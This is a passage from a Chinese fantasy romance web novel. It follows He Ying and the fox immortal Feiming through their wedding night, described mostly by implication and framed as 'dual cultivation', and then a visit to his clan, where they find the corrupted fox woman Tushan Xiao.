何缨点了点头,她也有点过意不去。她很恐惧这样的宴席,穿越前她被强行要求参加了好几次,几乎每一次都不欢而散。 要是她能主动回应那些偶尔投过来的目光,没准绯明就能和她一起融入仙界,加入到他们的谈话中去了。 然而事实是,要不是绯明找斗星还有司晨一起来哄她,她可能一个朋友都交不到,最终的结局很大概率只是赤璃境又多了一个伤心的人。 她的思绪飘到九霄云外,一只修长的手却又一次伸到了她的眼前。 绯明站起身,不自在地看向一旁。 何缨看了看绯明红红的耳朵,原本伸出的手却一下子停住,转而伸进了绯明的袖口。 绯明意外地回过头,就感觉一只手贴着他的手腕伸了进来,握住了他的小臂。 何缨一抬手,他们的袖口就对在了一起,袖子末端紧紧贴合,像一座倒映在水中的小山。 何缨感觉这样很有意思,她摇了摇绯明的手,“走吧!” 何缨想起他们初见时,这只手只是微微用力,就能把她整个人提起来。 而后来,这只手,牵着她走下花轿,扶着她踏上登仙阶。为了围护她和天帝兵刃相向。 ……短短的回忆里,每一个画面都有绯明的痕迹。在这个世界的时光,几乎要将她那过往的二十载岁月通通冲淡。 回去的路上,何缨突然用力,紧紧地攥住了绯明的手臂。 绯明一样小心翼翼地捧着她的小臂,垂眸问她,“怎么了?” 身后人影散乱,觥筹交错,身前是一片片空旷清冷的水榭楼阁。 人声逐渐模糊远去。唯有手中温热仍然清晰。 牵起的手像是有一种神奇的魔力,好像就这样交握双手,就会拥有勇气,继续走下去。 漫天星河里,何缨依偎进绯明的怀抱,两只手顺着绯明的袖口钻进,贴紧绯明的手臂。 “……斗星仙子之前送了我几盒香膏,很好闻的。就放在床前的矮柜里。哦,你不知道。” 绯明一顿。 “绯明”确实不知道,知道这事的,应该是”茸茸“才对。 何缨:“那你帮我问问茸茸,后背我擦不到,能请他帮我擦一些吗?” 30. 30 绯明把何缨放在赤璃境南侧的温泉旁,丢下一句本座去拿换洗的衣服就跑了,大尾巴一甩一甩的。 何缨直接笑倒在温泉里。 原本她还有点害羞,看见绯明这个慌里慌张的样子,反倒心情平静了。 折腾了半天,何缨终于是躺进了寝殿的被子里。 被子是绯明新换的。枕头也是。 ……就差虔诚的焚香了。 不就是那个吗,用做到这个地步吗! 何缨原本好不容易打消的紧张又一次升腾了起来,在床上连滚了好几滚。 过了一会儿,绯明回来了。何缨听到脚步声,立刻裹紧被子滚到了床里。 绯明用狐火将身上的水汽烤干,在床畔坐下。 两个人又一次相对无言。 何缨尴尬的要抠出一个赤璃境,但是事是她提的,是不是应该主动一点。 她正鼓足了勇气开口,灯却忽然熄了。 紧接着,绯明有些无奈的声音从他身后传来。 “被子裹那么紧,还擦不擦了?“ 何缨:“我擦!!我擦!!” 矮柜吱呀一声,抽屉被拉开了。 绯明轻车熟路地拿出一罐香膏,放在矮柜上,打开。 何缨松开被子,直挺挺趴在床上,比池塘里的翻车鲀还像翻车鲀。 没了灯光,何缨什么都看不见。她只能感觉到那双手小心翼翼地触碰着她的背脊,替她解了衣裳。 ……香膏涂在背上,一阵清凉。 绯明不紧不慢,细致地替她抹好了香膏。 他的力道十分柔和,何缨趴着趴着,忽然觉得还挺舒服,差一点没睡过去。 等到擦完之后,两人终于意识到一个问题。 有没有一种可能,斗星就是开个玩笑,这香膏根本没有那种作用呢! 怎么会有大聪明真的信以为真呢! 两个人又一次尬住了。 但是话都说到那个份上了,这次不行,两个人岂不是都要萎了! 何缨一咬牙,挣扎着还要再动,却被狐狸的尾巴箍住了腰。 紧接着,一双手将她抱转过来,两个人四目相对。 赤红色的发丝垂下,同二人灼热的呼吸纠缠在一起。 绯明垂头,将两只毛茸茸的耳朵温顺地送到何缨面前。“抓着。” 何缨顺从地抬起手,搂住了绯明的耳朵。 “……我抓不住。”何缨刚喊了一声,就被迫曲起了一条腿。 五分钟后。 “不对,你这样成不了。”何缨侧过身,“这样试试?” 十分钟后。 “尾巴!你的尾巴!好痒,哈哈哈哈哈哈。”何缨笑出了泪花,旖旎的气氛消失得一干二净,绯明两只耳朵都耷拉了下来。 十五分钟后。 “方向是不是不太对。” “……太滑了。” 二十分钟后。何缨跟烤鱼一样被人翻了个面,紧紧搂住。 这一次,她失去了对自身所有的掌控。 身体,意识,感官,全都被面前的人牵引着,沉入到了另一个深渊。淡淡的胭脂香味溢满了整个寝殿。 过了许久,久到何缨泪水涟涟,忍不住想要挣脱绯明的怀抱,却又被狐尾缠住了一双手臂。 “你松手!”何缨一边啜泣,一边推搡还在她身前的人。 绯明抱着她坐起来,何缨伸手胡乱一碰,打落了一旁斗星送她用来画画的星星灯。 那灯摔到地上,立时亮了起来,将她狼狈的模样照了个清清楚楚。 何缨捂哪都不是,只能闭着眼睛掩耳盗铃一般咬住绯明的肩膀。 绯明重重地喘息了一声,用狐尾将怀里的人紧紧缠住。 等何缨歇下的时候,已经不知道是多久之后了。 这感觉和小说里写的一点都不一样,比如她为什么还没有昏睡过去。 不仅不困,还炯炯有神。灵力在她的身体里奔流不息,丹田整个丰盈了起来,四肢百骸都透露着一股欢欣的气息,十分舒爽。 修为一瞬间长高了好几节。之前去沧溟买的那几件法袍又没用了。 关键是她现在一副生龙活虎的状态,根本没办法心安理得的去埋怨绯明。 那盏星星灯被绯明拾起来,摁灭搁在了床头。 绯明拿了帕子,替何缨擦拭。何缨全程一副任人摆布的姿势,随便一次不经意的触碰都会让她浑身发抖。等收拾完了,绯明这才回到床上,搂着何缨躺下。 他身后的九条尾巴还在摇啊摇。 何缨偏过头,一看见那尾巴就来气,随手薅过一条尾巴揉捏了起来。 没过一会儿,何缨又慌忙松开了手。 “我就想摸摸你的尾巴,干什么反应这么大。”何缨不满地抱怨。 绯明现在是一句反驳的话都说不出,只管把何缨抱在怀里,亲昵地在她颈间蹭弄。 何缨浑身酸软,她微微仰起脖子,避开那对粘人的狐耳往床里挪蹭:“天已经要亮了。” 绯明坐起身来,将何缨困在墙壁和他的怀抱之间,附耳呢喃。“仙人不论这个。仙狐也不论这个。” 何缨良久没有声音。天色彻底亮起,偶尔有两声奇怪的语调自寝殿里传出,田里的向日葵们装聋作哑,假装自己只是一株普通的葵花。 别说是仙人,便是普通修士行双修之礼,短则半月,多则半年,双修乃是双方共同提升修为的方式,说是闭关修炼也不为过。 日月不知颠倒了多少次,一开始何缨还有功夫“伸张正义”,到后来何缨已经懒得叫了,叫只会让这只臭狐狸更上头。 直到此时何缨终于有了点嫁给一只狐狸的实感,每次醒来不是被狐尾缠着就是被狐耳蹭着。 后半程她想跑,那个不要脸的竟然用魅惑术引诱她,等她恢复神智的时候两人早已抵死缠绵。连经脉都被绯明的灵力灌满。 何缨彻底清醒时,下界早已大雪纷飞。 而她的修为也坐火箭似的飙升到大乘期。 天道似乎被她这进修速度也搞迷惑了,原本要劈的雷吭吭哧哧只打了一道,就悄无声息了。 浮空阁里,何缨支着下把看向窗外纷飞的大雪。她手里捏着几粒干果,百无聊赖地放进口中。 桌子上趴着一只九尾赤狐,他剥完了最后一粒榛子,此刻正温顺地衔着何缨的手指撒娇。 若是何缨不说,谁能想到这只打滚卖萌求原谅的狐狐是绯明呢。 何缨冷漠无情地把手指从狐狸口中拿出来,转身回屋子里躺着了。 赤狐刚跳下桌,就被何缨喝止,“你不许过来,我要自己躺一会。” 赤狐九条尾巴都耷拉了下去。 两个人双修了数月,醒过来才知道,绯明的老家涂山部族来求见老祖宗了。 不知道下界出了什么事,总之恳求绯明回去一趟。 结果因为他俩纠缠的不知天地为何物,人家在仙界门口等了足足一个月。 何缨很想把之前说要擦香膏的那个自己掐死。 其实来的人并不知道他们在做什么,绯明自从成仙后再未回过涂山部族,他们只当老祖宗难请是应当的。 躺在床上何缨又紧张起来,这和丑媳妇见公婆有什么区别? 绯明蹭上床,不管不顾变回人形抱住何缨。 “……没有公婆,你也不丑。” 双修之后两个人心意相通,绯明时常能感受到何缨脑子里的那些纷纷乱乱的迷思。 要出门逛逛是何缨提的,怎么半路上自己又紧张起来了? 何缨挣脱不了他的怀抱,索性像咸鱼一样摊开:“那你们部族,现在都是些什么狐狸在管啊……” 绯明:“不知道。反正都很难看。” 毛也不会好摸,一定又粗糙又扎手。 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那老叟一看何缨怀中的赤狐,连忙下跪。 老叟自称漆芜,何缨想要扶他起来,他却只是一个劲地磕头。说他们部族有罪。 绯明化作人身,“几千年前的事本座本无意追究。今日所谓何事,速速说来。” 千年前的事?何缨从未听绯明提起过他成仙前的事,不免有些好奇。 不过这事现在不是重点,何缨没有打断他们的交谈。 老叟有口难言,他将两人引到山后一间草房门口。那里有许多陈旧的房子,有的早已破烂不堪,显然已经许久无人居住。 何缨轻轻推开门,从门外透进的光线成了草屋内唯一的光源。 一片昏暗中,她听到了接近于野兽的嘶吼声。绯明立时挡在她身前,可何缨却已经看见了屋内那人的全貌。 女子长着一对狐耳,白色的尾巴乍起,浑身都是乌黑色的血迹。她面目狰狞地跪伏在地,在她身下,一个诡异的阵法亮着血红色的光茫,将她束缚于阵内。她的嘴里只能发出无意义的怒吼声,神情却冷漠万分,肤色惨白,好像一具刚刚活过来的僵尸。 此人正是涂山筱无疑。 而令何缨惊恐的是,涂山筱胸前的名牌忽然像乱码了一般,疯狂的变换,字迹也逐渐变成了鲜红色。 最后,那抖动的牌子终于停止了变换,与之前截然相反的字迹出现在了何缨眼前。 【反派004为男主所杀】 绯明手中狐火已经燃起,何缨却在下一秒抓住了他的手腕。 ”请您莫要杀她!”一旁的老叟漆芜也跪伏在地。 绯明:“满身怨气,还沾了鬼界的炼化之术,她早已不是活人了。” 老叟:“妖界灵气愈发稀薄,下界怨气越来越多,魔族很快就要卷土重来。涂山部族现今一代,能化形成人的,便只有她一人了,若是连她都……涂山部族就要灭亡了。” 在他身后的丛林,无数只狐狸探出头来,用漆黑的眸子打量着眼前的三人。 他们有些未开灵智,懵懵懂懂,只知玩乐休憩;有些拥有灵智,然灵气不足,修炼无以为继,也就不能化作人形,只能期待这位远古时期便成仙得道的祖宗能使他们重获新生。 何缨感觉自己好像无意之间改动了这条世界线很多事情,不仅让男女主分离,竟然还让女主和他们的部族变成了如今这般模样。 想到这里,何缨忽然想起了那个一直被提起的名字,青鸾神座。 她的修为已经达到了大乘后期,能不能为涂山做些什么呢? 何缨取出符纸,重新画了一张聚灵符箓。 若是把聚灵符上的灵符篆改成怨符篆,是否能将涂山筱身上的怨气汲取出来?